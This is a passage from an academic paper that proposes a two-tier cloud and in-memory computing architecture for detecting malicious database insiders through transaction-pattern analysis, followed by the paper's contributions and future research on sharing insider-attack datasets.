3 Unified Modeling Language (UML), http://uml.org/.
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the transaction patterns of the insider to detect insider attack. If there is no mismatch
more than the pre-decided threshold, then update the existing patterns.

Based upon the use case diagram, we can show how the system using the two-tier,
distributed, cloud, and IMC based architecture works in Fig. 7.

1. A malicious insider accesses a DS, then either extracts data from the database or
executes queries which are not usually performed by the insider.

2. Logs of the changes on files or unusual queries are passed to the DLP to pre-
process them.

3. The logs passed from 2 are preprocessed to reduce the file size and only
meaningful information is extracted. After the preprocessing, the DS sends the
processed logs to an IBAS.

4. BAC in the IBAS detects an insider attack using the short-term and the long-
term analyses, then write down the attack on IMDB.

5. BAC also triggers BADA to let the security team know current insider attack.
6. BADA notifies the insider attack to a security team in the organization.
7. The security team checks the warning in detail using BADA.
8. The security team contacts a manager who is mainly dealing with the data set in

the databases which was the source of triggering the insider attack warning to
ask whether the insider is recently involved in any project which would let the
insider execute the unusual transactions.

9. The manager responds to the security team’s request.
10. If the response from the manager is negative (the insider does not have any

reason to execute the transactions on the data set), then catch the insider. If it is
positive, let the insider keep performing the transactions.

Fig. 7 A cloud and in-memory computing based two-tier architecture with a use case
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5 Discussion and Future Work

5.1 Contribution

There are three benefits in proposed architecture. Firstly, it yields prompt results about
each monitored transaction of an insider by using two-tier and in-memory computing.
If the system took several minutes or hours to analyze the transactions, it would not be
applicable because the several minutes are enough time to make something bad
happen and damage the organization. Secondly, it is open to the complicated analysis
which needs more computing power and takes longer time. Since this architecture is
powered by distributed and cloud computing, we can simultaneously scale up while
we add more rules to perform more sophisticated analysis on the log data. Lastly, by
using the cloud storage, we can easily manage large amount of log data that can be
quickly piled up to several terabytes in a month or even several days.

5.2 Future Research

Evaluation part will be the most important to prove how much correctly the system
can detect insider attacks. Even though partial order of transactions [6] and signature
of legitimate transactions [8] are used to detect insider attacks with the pattern mis-
match mechanism in the previous researches, the pattern mismatch itself may or may
not be related to the insider attacks. Pattern mismatch can be a start point of insider
attack detection, but not more than that. Accordingly, without defining the relation
between the pattern mismatches and real insider attacks, any provided system for
insider attack detection is actually no more than a pattern mismatch detection system.
However, it is almost impossible to access the insider attack data set in public because
attacked organizations are reluctant to provide their insider attack log data set in
public to keep their reputation. Moreover, providing the data set would reveal their
database structure in public, which would cause the second attack from external.

To overcome the limitation of accessing the real insider attack data set and make
the insider attack analysis area flourish, we need to have a framework not only to
manage the transaction history for each insider in the organization, but also to share
the set of transactions having the insider attack history information without revealing
the database structure of the organization. After we set this framework up, then we can
finally analyze the real insider attack data set provided by multiple organizations, and
mine meaningful information from the data set to find insider attack pattern in certain
time intervals. With the perspective that we have introduced above, we will research
more about the possibility to provide a framework to manage the insider transaction
history and share insider attack transaction data set in public. We will also use role-
playing bad actors operating on simulated historical data when we build a prototype
based upon the proposed architecture. The bad actors will be embedded in a large pool
of good guys.
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